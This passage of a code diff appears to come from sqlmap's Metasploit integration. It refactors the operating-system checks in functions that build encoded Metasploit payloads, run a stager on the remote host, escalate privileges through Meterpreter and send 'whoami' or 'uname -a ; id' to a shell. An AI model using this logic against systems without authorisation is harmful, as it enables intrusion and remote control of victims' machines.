|
32 | 32 | from lib.core.data import kb |
33 | 33 | from lib.core.data import logger |
34 | 34 | from lib.core.enums import DBMS |
| 35 | +from lib.core.enums import OS |
35 | 36 | from lib.core.exception import sqlmapDataException |
36 | 37 | from lib.core.exception import sqlmapFilePathException |
37 | 38 | from lib.core.settings import UNICODE_ENCODING |
@@ -118,7 +119,7 @@ def __initVars(self): |
118 | 119 | } |
119 | 120 |
|
120 | 121 | def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): |
121 | | - if kb.os == "Windows": |
| 122 | + if Backend.isOs(OS.WINDOWS): |
122 | 123 | opSys = "windows" |
123 | 124 | else: |
124 | 125 | opSys = "linux" |
@@ -169,11 +170,11 @@ def __selectEncoder(self, encode=True): |
169 | 170 | if isinstance(encode, basestring): |
170 | 171 | return encode |
171 | 172 |
|
172 | | - elif kb.os == "Windows" and encode: |
| 173 | + elif Backend.isOs(OS.WINDOWS) and encode: |
173 | 174 | return self.__skeletonSelection("payload encoding", self.__msfEncodersList) |
174 | 175 |
|
175 | 176 | def __selectPayload(self): |
176 | | - if kb.os == "Windows" and conf.privEsc: |
| 177 | + if Backend.isOs(OS.WINDOWS) and conf.privEsc: |
177 | 178 | infoMsg = "forcing Metasploit payload to Meterpreter because " |
178 | 179 | infoMsg += "it is the only payload that can be used to " |
179 | 180 | infoMsg += "escalate privileges, either via 'incognito' " |
@@ -358,7 +359,7 @@ def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): |
358 | 359 | elif not self.connectionStr.startswith("bind"): |
359 | 360 | raise sqlmapDataException, "unexpected connection type" |
360 | 361 |
|
361 | | - if kb.os == "Windows" or extra == "BufferRegister=EAX": |
| 362 | + if Backend.isOs(OS.WINDOWS) or extra == "BufferRegister=EAX": |
362 | 363 | self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format) |
363 | 364 |
|
364 | 365 | if extra is not None: |
@@ -395,15 +396,15 @@ def __runMsfPayloadRemote(self): |
395 | 396 | infoMsg += "remotely, please wait.." |
396 | 397 | logger.info(infoMsg) |
397 | 398 |
|
398 | | - if kb.os != "Windows": |
| 399 | + if not Backend.isOs(OS.WINDOWS): |
399 | 400 | self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True) |
400 | 401 |
|
401 | 402 | cmd = "%s &" % self.exeFilePathRemote |
402 | 403 |
|
403 | 404 | self.execCmd(cmd, silent=True) |
404 | 405 |
|
405 | 406 | def __loadMetExtensions(self, proc, metSess): |
406 | | - if kb.os != "Windows": |
| 407 | + if not Backend.isOs(OS.WINDOWS): |
407 | 408 | return |
408 | 409 |
|
409 | 410 | if self.resourceFile is not None: |
@@ -479,7 +480,7 @@ def __controlMsfCmd(self, proc, func): |
479 | 480 | func() |
480 | 481 |
|
481 | 482 | if "Starting the payload handler" in out and "shell" in self.payloadStr: |
482 | | - if kb.os == "Windows": |
| 483 | + if Backend.isOs(OS.WINDOWS): |
483 | 484 | proc.stdin.write("whoami\n") |
484 | 485 | else: |
485 | 486 | proc.stdin.write("uname -a ; id\n") |
@@ -512,7 +513,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode): |
512 | 513 | pollProcess(process) |
513 | 514 | payloadStderr = process.communicate()[1] |
514 | 515 |
|
515 | | - if kb.os == "Windows" or extra == "BufferRegister=EAX": |
| 516 | + if Backend.isOs(OS.WINDOWS) or extra == "BufferRegister=EAX": |
516 | 517 | payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) |
517 | 518 | else: |
518 | 519 | payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) |
@@ -547,7 +548,7 @@ def createMsfPayloadStager(self, initialize=True): |
547 | 548 |
|
548 | 549 | self.__randStr = randomStr(lowercase=True) |
549 | 550 |
|
550 | | - if kb.os == "Windows": |
| 551 | + if Backend.isOs(OS.WINDOWS): |
551 | 552 | self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s.exe" % self.__randStr) |
552 | 553 |
|
553 | 554 | # Metasploit developers added support for the old exe format |
@@ -579,7 +580,7 @@ def createMsfPayloadStager(self, initialize=True): |
579 | 580 | pollProcess(process) |
580 | 581 | payloadStderr = process.communicate()[1] |
581 | 582 |
|
582 | | - if kb.os == "Windows": |
| 583 | + if Backend.isOs(OS.WINDOWS): |
583 | 584 | payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I) |
584 | 585 | else: |
585 | 586 | payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) |
|
0 commit comments